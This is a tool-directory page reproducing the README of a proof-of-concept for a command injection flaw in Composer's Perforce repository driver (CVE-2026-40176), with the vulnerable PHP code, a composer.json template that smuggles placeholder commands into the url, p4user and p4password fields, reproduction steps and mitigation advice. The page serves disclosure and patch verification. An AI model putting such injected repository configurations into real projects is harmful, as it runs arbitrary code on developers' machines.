Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-40176-cve-2026-40261 β€” Proof-of-concept demonstrating command injection in Composer's Perforce driver (CVE-2026-40176), enabling remote code execution via crafted repository configuration. | Kitploit
Tools/GitHubGitHub/dapthehuman
/cve-2026-40176-cve-2026-40261
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlPayload Development
GitHubdapthehuman/cve-2026-40176-cve-2026-40261

cve-2026-40176-cve-2026-40261

Proof-of-concept demonstrating command injection in Composer's Perforce driver (CVE-2026-40176), enabling remote code execution via crafted repository configuration.

View Repository
337 months agoNot yet reviewed
Share

CVE-2026-40176

Composer Perforce Repository Remote Code Execution (RCE)

Composer Version Severity Type


πŸ“‹ Summary

Command Injection vulnerability in Composer's Perforce repository driver allowing Remote Code Execution (RCE) through insufficient input validation in repository URL processing.


🎯 Vulnerability Details

PropertyValue
CVE IDCVE-2026-40176
Affected VersionsComposer < 2.2.27
Vulnerability TypeCommand Injection
Attack VectorMalicious repository configuration
ImpactArbitrary code execution
CVSS ScoreHigh/Critical

πŸ” Technical Description

The vulnerability exists in how Composer processes when the type are perforce. The parameter is not properly sanitized before being passed to shell commands, allowing attackers to inject arbitrary system commands.


    public function generateP4Command($command, $useClient = true)
    {
        $p4Command = 'p4 ';
        $p4Command .= '-u ' . $this->getUser() . ' ';
        if ($useClient) 
            $p4Command .= '-c ' . $this->getClient() . ' ';
        }
        $p4Command .= '-p ' . $this->getPort() . ' ' . $command;

        return $p4Command;
    }

All of it was not escaped properly, allowing an attacker to inject commands by crafting a malicious payload for all field with the perforce type.

Vulnerable Code Pattern:

{
  "repositories": [
    {
      "type": "perforce",
      "url": "PERFORCE_URL; INJECTED_COMMAND #",
      "depot": "depot",
      "p4user": "user; INJECRTED_COMMAND #",
      "p4password": "password; INJECTED_COMMAND #",
    }
  ]
}

πŸš€ Proof of Concept

This repository contains a working proof-of-concept demonstrating the vulnerability.

Project Structure

CVE-2026-40176/
β”œβ”€β”€ composer.json              # Malicious Perforce repository config
β”œβ”€β”€ vuln-composer.phar         # Composer 2.2.26 (VULNERABLE)
β”œβ”€β”€ patched-composer.phar      # Composer 2.2.27 (PATCHED)
└── README.md                  # This file

Reproduction Steps

1. Clone the repository

git clone <repository-url>
cd CVE-2026-40176

2. Verify Composer versions

php vuln-composer.phar --version
# Output: Composer version 2.2.26

php patched-composer.phar --version
# Output: Composer version 2.2.27

3. Test vulnerable version

php vuln-composer.phar install
# OR
php vuln-composer.phar update

4. Verify exploitation

ls -la /tmp/pwned

5. Test patched version (should fail)

rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# File should NOT exist (vulnerability is patched)

πŸ›‘οΈ Mitigation

Immediate Actions

  1. Upgrade Composer to version 2.2.27 or later:

    composer self-update --2.2.27
    # OR
    wget https://getcomposer.org/download/2.2.27/composer.phar
    
  2. Review all composer.json files for unknown or suspicious repository configurations

  3. Audit supply chain - Check if any dependencies reference untrusted repositories

Detection

# Check your Composer version
composer --version

# Search for Perforce repositories in your projects
grep -r "perforce" */composer.json
Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools β†’